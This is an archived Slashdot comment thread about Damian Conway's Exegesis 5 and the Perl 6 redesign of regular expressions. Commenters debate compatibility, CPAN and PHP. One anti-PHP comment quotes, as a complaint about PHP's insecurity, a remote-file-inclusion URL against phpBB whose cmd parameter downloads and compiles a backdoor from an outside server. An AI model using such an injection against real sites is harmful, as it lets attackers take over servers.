Forgot your password?
typodupeerror
Perl Programming

Damian Conway Publishes Exegesis 5 125

Posted by michael
from the stick-to-coding-thanks dept.
prostoalex writes "Come gather round Mongers, whatever you code, And admit that your forehead's about to explode, 'Cos Perl patterns induce complete brain overload, If there's source code you should be maintainin', Then you better start learnin' Perl 6 patterns soon, For the regexes, they are a-changin'. This remix of Bob Dylan serves as an epigraph to Exegesis 5."
This discussion has been archived. No new comments can be posted.

Damian Conway Publishes Exegesis 5

Comments Filter:
  • Whoa, does that mean i gotu learn regex all over again?
    quoting from the article

    "Even more importantly, as powerful as Perl 5 regexes are, they are not nearly powerful enough. Modern text manipulation is predominantly about processing structured, hierarchical text. And that's just plain painful with regular expressions. The advent of modules like Parse::Yapp and Parse::RecDescent reflects the community's widespread need for more sophisticated parsing mechanisms. Mechanisms that should be native to Perl."

    Will these be compatible with the older, i mean backward compatibility, i certainly hope so.

    There's a lot of new syntax there, so let's step through it slowly.


    this goes a real whoa over my head man. Seriosly i dont wanna be trolling, but i wish the language used was simpler. For a regex expert this is good, but for a newbie or mediocre level guy like me this is bad!! And there are not many free regex courses on the net!
    • Re:back to school (Score:4, Informative)

      by IpalindromeI (515070) on Friday August 23, 2002 @07:43AM (#4125636) Journal
      You'll still be able to use Perl5 regexes by indicating a special flag to the regex engine. So you don't have completely jump right in from the start. But from reading Apocalypse 5, Perl6 regexes look to be much much cooler. So you'll probably want to learn them anyway.
    • Re:back to school (Score:2, Informative)

      by jomagam (512625)
      Damian was illustrating advanced concepts in this article. Things are not going to get more complicated if you are a mid level perl programmer and never cared about zero-width positive look-behind assertions. Other good news is that perl6 is not expected to be production ready for at least 4 years; you have plenty of time to become a perl wizard.
  • by SimHacker (180785) on Friday August 23, 2002 @07:40AM (#4125624) Homepage Journal
    Perl is like the castle built by the king in Monty Python and the Holy Grail, that fell over and sank into the swamp. So he built another one. And that fell over and sank into the swamp too. And then he built another and another, and they all fell over and sank into the swamp. Then finally, he built a really big one, and that burned down, fell over, and sank into the swamp.

    -Don

    • by IpalindromeI (515070) on Friday August 23, 2002 @07:54AM (#4125671) Journal
      It does kind of feel that way. Since all previous versions have worried much about maintaining backward compatibility, a lot of new stuff has been added without removing the old stuff (merely deprecating it). Because of the "history" behind things. With Perl6, though, they're ripping everything apart and rebuilding it from scratch, using the experience and wisdom that have been gained over the years. What was good and we'd like to keep? What was bad and should be done away with? What was a nice concept but implemented poorly? These are the questions the designers are asking themselves. I think something people are dreading is that since this is a total rewrite, looking more towards Doing It Right than making sure it still works like it used to, there will be much to relearn. But personally I'm glad they decided to do it this way, because it means they can do exciting things, and get rid of annoying things, and not have to worry about the compatibility. In the end, I think it will turn out to be a much cleaner, more consistent, more powerful, and even friendlier Perl. It will be like a breath of fresh air, and each Apocalypse gives more to be excited about.
    • I'm not familiar with this MP sketch, but reading your description, I was pretty sure the swamp was beeing filled with the remains of old castles. But this is a special bottomless swamp, that never fills up, or what? Otherwise, after the 5th or 6th castle, I'm pretty sure there'd be a good enough foundation to hold the next castle above the swamp, on top of the old castles... but like I said, I never saw the original sketch, and it's british.
    • glad you mentioned Python because I see they've managed to copy some Python regexp features - particularly that of returning matches to an array and the multi-line stuff. The P6 inheritance syntax looks cleaner as well, and almost python-like as well...

      On another troll note, that extra syntax and abbreiviations for the "rule engine" (is that anything like a python service? probably not...)- a whole new other World Of Pain to enter. Less is better, IMTO. At least we won't see the end of messages saying "have you tried perl -w?" It's a pity somebody didn't build a Perl with -w, use strict and limiting the scope of $_ *switched on as default*. This would get rid of most the frustration.

      With Perl6 scavenging CPAN for functionality, CPAN6 should be a lot smaller (if One True CPAN is retained, there will be even more Chaos, and I had enough trying to install the Multitude of Modules to get SoapLite.pm installed).

      grumble, grumble, grumble

      hachete

      born to troll
      • and I had enough trying to install the Multitude of Modules to get SoapLite.pm installed

        Sad to hear that. On my system, it was a matter of apt-get install libsoap-lite-perl. The purpose of maintaining a package in a distribution is to ease the work of others. =)

      • glad you mentioned Python because I see they've managed to copy some Python regexp features - particularly that of returning matches to an array and the multi-line stuff.

        Um, sorry, but those features have been in Perl regexes since the beginning.

      • It's a pity somebody didn't build a Perl with -w, use strict and limiting the scope of $_ *switched on as default*. This would get rid of most the frustration.

        While I see your point here, I think making 'use strict' and -w the default would push a lot of newbies choosing between Perl and PHP over to PHP. Not that this is a competition for programmers or anything, but Perl was the first language I learned primarily because you could pick it up and write (admittedly) bad code that would actually DO something. Over time as I because familiar with Perl and programming in general, I was able to improve my habits and now I use -w and 'use strict' in everything I write. Yeah, you can argue that forcing good programming practice makes better code and better programmers, but at the expense of how many would-be Perl programmers?

        To me, Perl 6 in "strict mode" is basically going to be Java with a better regex engine. Java's lack of a relaxed mode (and its commercial nature) kept me away from it when I was picking a "primary" language for my programming arsenal. Of course, now that I have some much time invested in Perl I'll eventually make the leap to Perl 6 - and maybe I'll be a better programmer for it - but I think picking up Perl 6 is going to be hard enough for the newbie programmer.. I certainly would hate to force 'use strict' and -w on them.

        Shayne

    • the castle built by the king in Monty Python and the Holy Grail, that fell over and sank into the swamp. So he built another one. And that fell over and sank into the swamp too. And then he built another and another, and they all fell over and sank into the swamp. Then finally, he built a really big one, and that burned down, fell over, and sank into the swamp.

      I always read that as a metaphor for civilisation, myself...

    • Then finally, he built a really big one, and that burned down, fell over, and sank into the swamp.

      Finally? No: [stone-dead.asn.au]

      but the fourth one... stayed up! And that's what you're gonna get, lad: the strongest castle in these islands.

      OK, so it was the fifth or sixth one ... but it's still the finest code in these islands!

    • Perl is like the castle built by the king in Monty Python and the Holy Grail, that fell over and sank into the swamp. So he built another one. And that fell over and sank into the swamp too. And then he built another and another, and they all fell over and sank into the swamp. Then finally, he built a really big one, and that burned down, fell over, and sank into the swamp.

      Don't forget, the last one stayed up. And it was the strongest castle in all of Britian.
  • Ugh (Score:4, Interesting)

    by Your_Mom (94238) <slashdot.innismir@net> on Friday August 23, 2002 @07:41AM (#4125631) Homepage
    I was excited for Perl 6 when it was first starting out, then I reading about all the stuff that is going to change, and got worried. Now, after reading this, I've come to the conclusions that I am sticking with Perl 5, as for my Web stuff, I'm finally taking theplunge and learning PHP. Perl 6 is starting to become a completely different language, all y stuff works now, and I don't feel like porting.
    • Re:Ugh (Score:3, Insightful)

      by Dom2 (838)

      If you don't like it, you don't have to port it.

      There are still people using emacs 18 to edit their files because it's small and it works.

      There are still people running Windows 98 to run their games because it works.

      Nobody's forcing you to move to Perl 6. That's the beauty of Open Source. Perl 5 is going to be developed for a long time to come. Don't give up hope.

      -Dom

      • by gorilla (36491)
        In addition, there will be a perl5->perl6 translator, which will let you write in perl5, and easily switch if you want to.
    • Most of the Perl 6 changes seem to be for the better, but two in particular particularly gall me: changing arrow to dot, and changing ARGV to ARGS.

      The rationale for losing arrow was that it made more operators available, and that it was more familiar to users of other OO languages. I suppose it's also easier to type; not only one less character, but no shift key. But it seemed like a change just to force old programs to be rewritten.

      And ARGV? Simply because it was supposed to be old fashioned, unfamiliar, not obvious. BAH. Change for no reason other than to commit breakage and force a rewrite.

      I will probably switch as time goes by, but to Ruby rather than Perl 6. If I'm going to have to touch every file, I may as well do it the right way.
      • just to force old programs to be rewritten.

        Keep a /usr/bin/perl5 around. Or run it in Perl 6's compatability mode.

        If I'm going to have to touch every file

        But you're not, are you? You can keep writing in Perl 5 for as long as you feel happy, even to the point of porting separate subroutines to Perl 6 as you feel the need.

        • Sure, I can write perl 5 forever, but eventually the new CPAN packages will be written for Perl 6, and perl 5 will wither away.

          I don't mind most of the changes. I think the regex changes are good, on the whole. I object to change just to cause breakage, like ARGV. There is no other reason for that, except to cause breakage. What else is going to be changed just for the hell of breaking things? If I have to put up with that, I may as well go whole hog, and go to Ruby.
          • It is perfectly legal for you to fork your own Perl - this is open source, after all. The idea with open source is "you want it, you do the work, I'm not here to make you happy" [ This is deeper than it seems e.g. if you and me as geeks _want_ linux to have significant penetration into the desktop market, so that the movement then has political and market clout, it IS up to you and me to make user-friendly linux distros]
            • The problem is that using non-standard custom tools requires self maintenance. The perl world and CPAN in particular are going to move to Perl 6 sooner or later. Unless I want to back port all that code to Perl 5, I also must move to Perl 6.

              Theory be damned. Practice says it's Perl 6 or something else. I choose something else because I don't like change for the sake of change, it makes me wonder what else will break just to be broken, and that is something up with which I shall not put.
              • There's nothing wrong with going to Ruby--it's a nice language and it fills a different niche than perl does. The nice thing is that it doesn't matter if you move to Ruby. Courtesy of Parrot, you're just a parser module away from perl 6...
          • If I have to put up with that, I may as well go whole hog, and go to Ruby.

            Sure, and you have the advantage that Ruby works now, while Perl 6 will take years. However, I imagine Ruby will make some changes as it matures, which may lead you to think "Hmmm, I can't be bothered putting up with this, but Perl 6 has just been released. Maybe I'll play around with that for a while..." :)

            CPAN is one of the best things Perl has going for it, and that's not (only) because of the langauge, that's because of the community. I don't necessarily know that all of the community will ever move to Perl 6 (maybe less would if it were called something else), but if they do, it may make learning Perl 6 worthwhile, just to continue to access large amounts of useful, Free code.

    • Ugh PHP. I took the plunge and decided to learn it because my webserver doesn't have enough power to run mod_perl (and a bunch of other vhosts) but my site has too much traffic for CGI to cut it anymore.

      My observation about PHP: some things are over done and other things are completely underdone. Nothing feels completely right. I spent hours pulling out my hair the other day just trying to find an extension that can parse HTML decently (mostly what I found were people's half-baked regex solutions ... yeah someone's going to break that in a hurry). And Regex in PHP? its a nightmare, two different types, neither near as powerful as Perl, and wadda-ya mean I have to use a function to use a regex???.. and why are function names in general ten_freaking_miles_long()!? /rant

      Anyway seriously Perl 6 looks really awesome and you won't have to port stuff that works because it has a Perl 5 compatability mode. If you're going to learn a new language anyway why not learn Perl 6?
      • by Fweeky (41046)
        And Regex in PHP? its a nightmare, two different types, neither near as powerful as Perl

        You've got PCRE and POSIX regexp, what else do you need? How is PCRE nowhere "near as powerful as Perl"?

        and why are function names in general ten_freaking_miles_long()!?

        Because there are over 1,000 of them all sharing the same namespace. What's especially irritating is they don't all follow the same naming convention.

        If you're going to learn a new language anyway why not learn Perl 6?

        Because it's not very interesting. Learning new languages helps you gain multiple perspectives on problems, sticking with the same language sticks you in a rut where you only have a few views of how to solve a problem, none of which are necessarily optimal.

        Personally, I'm looking at SmallTalk after Ruby, or maybe Lisp.
    • by scrytch (9198)
      Now, after reading this, I've come to the conclusions that I am sticking with Perl 5, as for my Web stuff, I'm finally taking theplunge and learning PHP.

      Feel free, I'd be the last person to dissuade someone from learning another language. It'll be more like a wade than a plunge, of course, but if all you do is "web stuff", perhaps PHP or cold fusion are more your style. Personally I use things like Parse::RecDescent, Safe, POE, and Tie::MLDBM, but I do things slightly more complex than guestbooks.

      Personally I can't see why people complain that such an ugly language is becoming not uglier but just a different shade of ugly. Only thing that really tweaks me is the awful _ operator. I think I'll be doing more interpolation now instead. My main complaint was that all these apocalypses were turning perl6 into vapor, then out of the blue, the parrot crew writes what amounts to an alpha release of perl6...

      Still, I now have extension work in C and C++ to do , and when it comes to that, it's hard to beat python. Perl5's source gave me the screaming fantods, so I don't hold out a lot for perl6's hackability. Perl6 is definitely not too little, but for this hacker, it may well be too late.
    • Perl 6 is starting to become a completely different language, all my stuff works now, and I don't feel like porting.

      I think that's not merely acceptable but actively encouraged. Perl6 is meant to be pretty much a different language from Perl5 - a nice, shiny new toy that will great for some things and less good for others. Just like, say, Java. But you don't feel apologetic about not porting your Perl5 programs to Java, and neither should you about not porting them to Perl6.

      Will Perl6 be a better new language than Ruby, Python and the rest? Aye, there's the rub. No idea.

      • The difference here is this:

        Perl6 is nothing close to Perl 5

        When PHP released version 4 (or perl released version 5), there were a host of syntax changes, but continutity remiained. But if you look at the code that Damian Conway is generating, it's nothing like perl 5. At all. I think the 'print' statement is the only thing left, and I'm waiting for them to change that too.

        The problem here is that you have a language being developed by a linguist, not a computer science guy. Therefore he feels the need to change and modify everything about the language to make it seem more 'friendly'.

        The simple fact of the matter is, all of the grammar is changing. All of the keywords are changing. What's left that defines this language as perl? Nothing, really.

        • Perl6 is nothing close to Perl 5

          That is not an accurate assessment. As this article [samag.com] illustrates, many real-world Perl 5 programs will port to Perl 6 with little (and sometimes no) changes required.

          ...if you look at the code that Damian Conway is generating, it's nothing like perl 5...

          In Exegesis 5? Of course not. Because the Exegeses supposed to explain the Apocalypses, which are specifically about the differences between Perl 5 and Perl 6.

          When I'm writing code [samag.com] to illustrate the similarities between the two, then the Perl 6 code looks very much like Perl 5.

          The problem here is that you have a language being developed by a linguist, not a computer science guy.

          Actually, no. Perl 5 was the language that was developed by a linguist [perl-foundation.org], not a computer science guy. Perl 6 is the language being developed by a linguist [perl-foundation.org] and a computer science guy [yetanother.org] (amongst others [perl.org]).

          The simple fact of the matter is, all of the grammar is changing.

          No it's not. Not even close. Something less than 20% of the grammar is changing.

          All of the keywords are changing.

          Again, simply not true. Not one of the following keywords is changing: for, while, if, unless, until, goto, BEGIN, END, INIT, CHECK, DESTROY, bless, caller, chomp, close, defined, delete, die, exists, exit, fork, getc, goto, grep, index, int, join, keys, kill, last, lc, lcfirst, length, lstat, m//, map, my, next, no, open, ord, pack, package, pipe, pop, pos, print, printf, push, q//, qq//, quotemeta, qw//, qx//, rand, redo, require, reset, return, reverse, rindex, s///, scalar, seek, shift, sleep, sort, splice, split, sprintf, sqrt, sub, system, tell, tr///, uc, ucfirst, undef, unpack, unshift, use, values, vec, wait, warn, y///.

          Those of us on the design team certainly understand that it can sometimes feel like Perl6 is nothing close to Perl 5, and like all the grammar and keywords are changing, and that the linguists are now running the asylum. But the reality is -- as usual -- considerably less fearsome, uncertain, or doubtful than our fears might lead us to believe.

    • Re:Ugh (Score:5, Informative)

      by jdavidb (449077) on Friday August 23, 2002 @10:12AM (#4126436) Homepage Journal

      You might want to have a look at this article [perl.com] which highlights some of the ways in which Perl 6 is not changing.

    • Note: this is probably going to be horrendously biased because 99% of the PHP stuff I do is maintaining and customizing a vBulletin. For those who have ever dealt with this piece of crapware I'll say nothing more. Suffice it to say that if you run diff on, say, newthread.php and newreply.php the output is disturbingly short.

      Look, I'm sorry but exactly what was supposed to be great about PHP? the fact that you can easily embed it in HTML code, that it integrates cleanly with MySQL and that you can pass args to it easily. Let us demolish each of these in sequence

      * HTML embedding - Ever heard of MVC? I'm sorry, but if you compare something like this:

      <ul>
      <?php foreach ($users as $user) { ?>
      <li><a href="user.php?userid=<?php echo $user->userid ?>"><?php echo $user->username ?></a></li>
      <?php } ?>
      </ul>

      and, say, the equiv in Template Toolkit:

      <ul>
      [% FOREACH user = users %]
      <li><a href="user.pl?userid=[% user.userid %]">[% user.username %]</li>
      [% END %]
      </ul>

      now you tell me which looks neater? HTML-like templating syntax just looks dire because it all falls apart when you have to include stuff inside attributes. Not only is it ugly but it's unmaintainable. Want to skin your site in PHP? forget it. Want to skin it in perl/TT/CPAN templating engine of your choice? no problem, just supply a different base path to your template engine of choice. Of course most PHP coders have realized this so they've created their own templating engine, or use something like Smarty and just wrap everything in one great big PHP tag. Which quite frankly just defeats the entire point.

      * Argument passing - this is hellish. Anything that comes in in a query string, cookie or post variable immediately enters your global namespace, where your often CRITICAL state variables are - hope you initialized them! I can't tell you how many times I got exploited by some stupid XSS exploit or the totally useless ability of include() to pull stuff in over HTTP. It's bad enough when a script kiddie just needs a unix system and the ability to use a compiler to root a machine but when 'h4xx0ring' can be done just by typing http://phpbb.mysite.com/includes/db.php?phpbb_root _path=http://my.webserver.com/&phpEx=txt&cmd=lynx+ -source+http://my.webserver.com/1337-backdoor.c+|+ gcc+-o+/tmp/1337-backdoor or something like that then it's quite clear that things are getting absolutely fucking ridiculous. In fact the PHP team have realized this and forced you to use $HTTP_POST_VARS or whatever other four-mile-long identifier to get at your vars (oh, sorry it's $_POST now) ... well, at least if php.ini says so. Which you can't count on anyway so I always write a little routine to bomb out the global namespace (except for the superglobals) at the start of each of my scripts. Stupid and unnecessary.

      * MySQL integration - eh?! I'm sorry but I HATE the PHP MySQL API. The error handling is a joke so most people write their own wrappers around MySQL to catch errors and deal with them (that or it's back to checking the return value of every little thing. Thanks but if I wanted to do that I'd program in C). That and don't get me started on slashing. php.ini is set up so that your incoming variables may or may not get slashed. Again, you can't influence this or count on it if you've got shared hosting of some sort so either you've got to manually strip all the slashes out again or put them in - in which case you either have to deslashify something if you're using it internally or slashify it when passing it to mysql_query() to make sure someone doesnt take a great big shit all over your SQL. And that's if you're using MySQL. If you're using Postgres, there's a different API, and if you're using Oracle then there's a third. The fact that there's TWO different database abstraction systems built into the core of PHP (DBx and ODBC) and then some in PEAR shows that something is really horribly wrong.

      Now compare to Perl DBI or Java JDBC or anything else which actually has a sane DB access API.

      eval {
      my $sth = $dbh->prepare('SELECT userid FROM user WHERE username = ?');
      $sth->execute($username);
      my $userid = $sth->fetchrow_array;
      } if ($@) { confess "SQL Error: $@"; }

      which in PHP looks like

      if (!get_magic_quotes_gpc()) {
      $username = addslashes($username)
      }
      $q = mysql_query("SELECT userid FROM user WHERE username = '$username'")
      or die("Query failed: " . mysql_error());
      if ($r = mysql_fetch_row($q)) {
      $userid = $r[0];
      }

      I know which one I prefer. That and let's not forget the fact that every time you access a page, that page is parsed, its dependencies are parsed, initialization is performed, and then it handles your request. Also the standard library that comes with it is cack - everything is in the global namespace, there's no object orientation at all, parts of it look like the C standard library's been retrofitted into it because the designers were too damn lazy, it's inconsistent, there's several conflicting ways of doing everything and it's so badly designed that you're usually working AGAINST it than with it. (want to slurp a file? well you can use the file() command to make an array of lines, which you can join together again, or you can use readfile() which sends a file directly to the client, however you can get round that by using output buffering to capture it. Or you can use fopen() and the related commands to open the file, find its size, read it into a scalar then close it again. Aargh!) ... need I go on?

      Now, look, I must admit Perl isn't great either. mod_perl is fast as lightning but it's got a ton of idiosyncracies of its own (mainly in the way of including things, eg include paths, namespaces, etc) and a lot of weird side-effects that are far from obvious and get in the way most of the time. I've written my own mini-wrapper around it that irons most of it out but it's still quite a pain.

      As for PHP though, it does have its place, but remember what PHP stands for - PHP Hypertext PREPROCESSOR (I think). As SSI on steroids with some ability to interface with MySQL, it's a great system. But writing things like messageboards or shopping carts or portals in PHP is sheer lunacy. I've managed a PhpBB and a vBulletin as well as writing a mini news system that integrates with vB so maybe my experience isn't that great and someone ought to hit me with a clue-by-four. But if you can, please do because from what I've seen I find it very hard to like this language.
      • RE: * HTML embedding

        You can also do this:
        <? foreach ($users as $user)
        {
        include "templates/user/usertemplate.php";
        }
        ?>

        Then usertemplate.php contains
        <li><a href="user.php?userid=<?= $user->userid ?>"><?= $user->username ?></a>
        or
        <? echo "<li><a href="user.php?userid= $user->userid">$user->username</a>" ; ?>

        The trick is if you tuck most (or all) of your html in the templates directory then you can have skinning. Just make multiple templates directories and keep track of which one you're pulling the content from. This forces you to split your html from your objects, and as a bonus you get more code reuse. Your object's html templates are neatly tucked away in their own directories.

        RE: * Argument passing

        Turn off register_globals and use $_REQUEST and the other superglobals to do what you need. Never trust user input, yadda yadda. This has been a weakness in the past, but now it's a bit harder to get burned. I shot myself in the foot a couple times and had to learn how to deal with this stuff. PHP is a newbie friendly language, but secure PHP takes some experience to get right.

        RE: * MySQL integration

        Agreed. About this time last year I finally rolled my own DB wrapper that does what I need. My gripe with most abstraction layers is that they may claim to be DB independant, but cater to the lowest common denominator: mysql. Sorry, but if I'm using a "real" database I'm going to break out the stored procedures, transactions and more. If I get to use stored procedures, then my overall approach is going to change enough to break the abstraction layer. Things may have improved, but the last time I looked at it I went with the db specific funtions. I'd like to see some improvement here.

        More notes:

        As far as the 'parse, parse, reparse and initialize' cycle, you can alleviate some of that with caching. I've rolled functions to do this by output buffering entire pages (or significant includes), placing them on disk or in the database and serving those to the users. It depends on how often you update your site, but for fairly static pages it works OK. You can also break out the Zend cache or other products if you want to 'do it right'.

        I don't see a problem with three different ways to open a file. Each one has a use and a historical reason for existing. Each one also gets the job done for the general case. Yes the namespace is a bit cluttered but the docs are very good. It seems like a design goal for PHP has been to wrap every useful library they can. This brings in a bunch of the C style file operations. Then you get the design goal to make tools to build webpages. That gives you output buffering tricks and so on. Learning to deal with this is all a part of PHP.

        Just because PHP makes it easy for a 'non-programmer' to submit a form to a database it doesn't mean that it is an easy language to use for large projects. Maintaining bad PHP is hell and refactoring can be problematic. However, I do think PHP is appropriate for portals, message boards, and online catalogs. You just need to take the right approach: Object orientation (or good procedural libraries), templates, php.ini tweaking, coding standards and so on. It's not the easiest language to scale up, but it can be done. The problem is that it is such an easy language to do litle things in, they screw up when they do big things with it. Just like Perl.

      • * HTML embedding - Ever heard of MVC? I'm sorry, but if you compare something like [...] the equiv in Template Toolkit:

        <ul>
        [% FOREACH user = users %]
        <li><a href="user.pl?userid=[% user.userid %]">[% user.username %]</li>
        [% END %] </ul>

        I'm surprised no one has pointed this out, but the equivalent PHP construct could look something like this:

        <ul>
        <?php foreach( $users as $user ) { ?> {
        <li><a href="user.pl?userid=<?php echo $users[$user]['userid']; ?>"><?php echo $users[$user]['username']; ?></li>
        <?php } ?> </ul>

        Duplicating the obhect notation is also quite possible, I simply chose and array of arrays as an example. Of all your PHP indictments, that was the weakest.

    • by Camel Pilot (78781) on Friday August 23, 2002 @11:31AM (#4127074) Homepage Journal
      You are upset that Perl 6 is changing significantly enough that you feel it could be classified as a different language. And you don't want to learn a new language so to solve your dilemma you are going to learn a different language? :)
    • by Hornsby (63501)
      I would suggest checking out eruby/modruby in place of PHP. I know that PHP is very popular and somewhat industry standard these days; however, that doesn't make it the cream of the crop. Ruby is a VERY clean language in the same vein as Python but more consistent throughout. The Eruby/Modruby combo allows you to embed ruby into your html in the exact same fashion as PHP but with all the power of ruby. While PHP is a decent web programming languge, Ruby is a great all purpose language with a fantastic standard library. Now that I'm using it, I'll never go back to PHP, Perl 5, or any other comparable technology. There's also an entire book [rubycentral.com] online.

      I know that everyone has their opinion, but this one is mine.

      Just my 2c.
  • Bob Dylan rolling in his grave knocked over my drink!

    Oh, wait, he's not dead yet.

    Carry on . . .

  • When i think of all the existing regex libraries that will have to be updated, i get a bit quesy.

    I know guys who can regex in their sleep, and they've been using mostly compatible syntax for YEARS! This new stuff looks completely different, and if perl isn't going to be backwards compatible, i forsee a huge backlash, or a AnotherGNUPerl fork or something. (AGP is taken... doh)

    it's important to allow people to use existing skillsets while expanding into the new syntax.

    • by Anonymous Coward
      I think a syntax change is necessary - this new stuff is so NOT _regular_ expressions. If you want a regex, use the Perl 5 regex constructs (although technically they're far from regular too).

      This is standardising cutting-edge (even compared to most lisp + prolog AI-related parsing stuff, and that's always ad-hoc) parser as part of the standard language.
    • The problem is, really, that Perl 5 and Perl 6 are two completely separate languages. You shouldn't even bother thinking about backwards compatibility; the developers aren't. Larry stepped on that before much of anything else.

      From what I've read, Regexen are staying _basically_ similar (basically), but Damian Conway being the sick evil bastard he is, they're going to incorporate some higher capabilities into the engine that look an awful lot like his Parse::RecDescent [cpan.org] grammar parsing module.

      I mean, really, at their base, he's moving around flags a little, making whitespace default insignificant, and tinkering a few flags. It's when he starts making rules and backtracking capabilities (which exist in the current language, in clunky form, as he demonstrated) that it starts getting wacky.

      What it comes down to, though, is that noone should be thinking 'Oh, man, now I'll have to port all my perl to perl 6.', because Perl 5 isn't going to die out or anything, just get phased out like perl 4 - left at a stable rev for support purposes.
    • Yeah, some of the old syntax may break, but there will a perl5 -> perl6 converter that takes care of this. And without breaking some of the old syntax, the new options would have to look completely ugly and raise even more arguments of "too much line noise."
    • i forsee a huge backlash,

      Nonsense. Perl 6 will continue to use /'s for regexps.... no danger of having to confuse the use of \'s.

      (ooo. should I have said \\'s? )

  • Because I can't pronounce Exegesis. I can pronounce Perl.
    Sorry!
  • Perhaps someone with better knowledge of PERL 6 can answer this question. It looks like regexp in PERL is evolving to a rule engine/finite-state machine? I only skimmed the first two pages, but that's the impression I am getting.

    This might be a good thing, since parsing XML is becoming more important. Anyone get the same feeling, or am I smoking weed?

    • by twoshortplanks (124523) on Friday August 23, 2002 @08:17AM (#4125745) Homepage
      1. A regular expression is, and always will be, a way of creating a rule engine/fine-state machine. It's a type three grammer. There are simple maths proofs that can demonstrate this
      2. A finate state machine cannot match XML. XML requires you to have the ability to match the right number of opening and closing brackets (and to do that you need to be able to store the number you've seen somewhere.) This requires a push down automina - a stack machine - a type two grammer.
      3. Perl's "Regular Expressions" have been beond a true regular expression for quite a while now (see backreferences)
      4. Perl 6's rule system - let's dump the term regular expression now - is a further step in this complicated matching.
      5. Matching type two grammers - like Parse::RecDescent can - is a good thing.
    • by Anonymous Coward

      By the way, it's "Perl," not "PERL." [perldoc.com]. The language is "Perl," the interpreter (the actual program itself) is "perl." Perl is not really an acronym (that was made up after the fact), so "PERL" is not correct.

  • by shoppa (464619) on Friday August 23, 2002 @07:58AM (#4125688)
    It's good that many things that formerly required CPAN modules (e.g. recursive-descent packages) will be "built-in" to Perl 6. But will all the syntax changes mean that there will be a delay between the release of Perl 6 and all the CPAN modules catching up?

    CPAN is a powerful resource. If all those modules get left behind, I fear we may end up with a more eloquent language in Perl 6 but with substantially less usability.

    • Elsewhere on this thread, someone posted the relative question from the Perl6 FAQ. Basically, Perl 6 creates a virtual bytecode engine, and the front end interpreter includes one that converts Perl6 to this engine, and another that convert Perl5 to this engine. From a programming POV, the distinction between a Perl6 and Perl5 program will be the inclusion at the first line of code of a keyword in Perl6 that's not in Perl5; if the interpreter sees that keyword first, it will treat the source as Perl6, otherwise Perl5.

      Since most existing CPAN modules lack this keyword they will all run with the Perl5 interpreter. There may be some oddities with modules that use native code or other odd features, so obviously there will be a testing phase.

      Additionally, at least for OOP-type modules, everything you can do with objects in Perl5 can be done to objects in Perl6 (albeit with minor differences in the syntax), so and Perl5 module should work cleanly in a Perl6 codeblock. Obviously, since Perl6 objects have a bit more power, you can't necessarily take those back to Perl5.

      Of course, there will probably be some mechanism to update CPAN modules from Perl5 to Perl6, leaving the Perl5 version in place, but exactly how this is do be done, it's way too early to tell.

      • From a programming POV, the distinction between a Perl6 and Perl5 program will be the inclusion at the first line of code of a keyword in Perl6 that's not in Perl5; if the interpreter sees that keyword first, it will treat the source as Perl6, otherwise Perl5.

        This will be for modules, not programs. A Perl 5 module begins with 'package Acme::Foo;'. A Perl 6 module will begin with 'module Acme::Foo'. This is explained in Exegesis 4 [perl.com].

    • Someone asked this very question at Damien's Pel 6 talk YAPC. According to Damien the "use CGI" (or whichever package) construct will tell the Perl 6 interpreter that the package being "use"'d is Perl 5 code. So the CPAN modules will still work.
  • couldn't they have been gentler? However, if it lets me handle HTML easily, without having to learn all kinds of packages that do lots of things I don't need, then I'm all for it. John Roth Watch that speed limit sign on the learning curve!
  • Perl6 FAQ (Score:5, Interesting)

    by ajs (35943) <ajs AT ajs DOT com> on Friday August 23, 2002 @08:15AM (#4125737) Homepage Journal
    Perl 6 [perl.org] is a big scary beast that sets people off in a lot of ways. Let me try to answer some of the big questions:
    • Why is Perl changing so much?!

      Because it needs to. Perl is the legacy of something like 15 years of development and evolution. It started as a simple text processing system, and is now used in every field of endevor where computers are used. There are some old things that needed to go, some new things that were needed and generally a need to re-examine the way "stuff" was done.

    • But what about my programs? Why break them?!

      Perl 6 is two things (at least): a parser for Perl 6 and a back-end virtual machine, much like Java or C#. One of the design criteria for the release of Perl 6 is a Perl 5 compatible parser front-end that outputs Perl 6 virtual machine bytecode. This means that your Perl 5 programs will run with no modification in a Perl 6 environment (or at most a path change to the interpreter, that much is still under some debate).

    • Why would you want to break compatibility with other regular expression engines?

      Remember that Perl has been leading the pack in terms of regular expression handling for a long time. Now Perl is moving beyond regular expressions to grammar specification. This is a good thing, as long as the benefits of regular expressions are preserved.

    Some of this will be good for everyone. Some of it some of you won't like, but a lot of it you will. Give Perl 6 a chance, and don't react as if we've shot your pet.
  • (switching into a Simpson's reference)

    So we'll march day and night
    Glennross and Glenngarry
    Our syntactical structures are subject
    To the whims of god Larry...

  • Beautiful! (Score:3, Insightful)

    by soboroff (91667) on Friday August 23, 2002 @08:20AM (#4125755)
    I only had time to skim the article, and anyway it would take anyone a while to absorb all that code. Here's the short summary:

    Regex's in Perl have accumulated too much cruft to be called regular expressions anymore. So now they're full grammers.

    That's right. Now you can pattern match with a very readable grammer syntax that is easily decorated with Perl code to do parsing. YACC for Perl. You can find packages for this on CPAN, but this is integrated with the language.

    No whining about the bad old days of Perl regex syntax for me... now I'm actually excited by the prospect of needing to buy a new llama book.
    • You can still use perl5 regexes, even if you're doing a perl6 script:
      :p5 or :perl5

      This modifier causes Perl 6 to interpret the contents of a rule as a regular expression in Perl 5 syntax. This is mainly provided as a transitional aid for porting Perl 5 code. And to mollify the curmudgeonly.

      But yeah, the new llama book is going to be an absolute necessity. First technical book to hit the NYT bestseller list...?

      /me continues reading...

      Gotta love the sense of humour. After describing one, two, and three colon rules (read the article, page three), they get to the potential fourth...

      Four colons...would just be silly. So, instead, there's a special named directive: commit>. Backtracking through a <commit> causes the entire match to immediately fail. And if the current rule is being matched as part of a larger rule, that larger rule will fail as well. In other words, it's the "Blow up this Entire Planet and Possibly One or Two Others We Noticed on our Way Out Here" operator.
      Basically the new rule (not 'regex') syntax seems to be bent on destroying Perl's "Line noise with a purpose" reputation...
    • by merlyn (9918)
      now I'm actually excited by the prospect of needing to buy a new llama book.
      Well, I certainly can't complain about that.
  • by barries (15577) on Friday August 23, 2002 @08:32AM (#4125807) Homepage
    People--especially FUDchunkers--are missing the most important points:

    Almost all of the most useful Perl5 code of today will be runnable by Perl6 tomorrow: the compiler will fall back to perl5 and the VM is language neutral (even moreso that .NET it would seem).

    In addition to running most perl5 modules as-is, Perl6 matching rules will have a perl5 backwards compatability mode built in so you can continue using the Perl5 regular expressions you know and love from Perl, Java, and everywhere else that's adopted them as needed in Perl6 code.

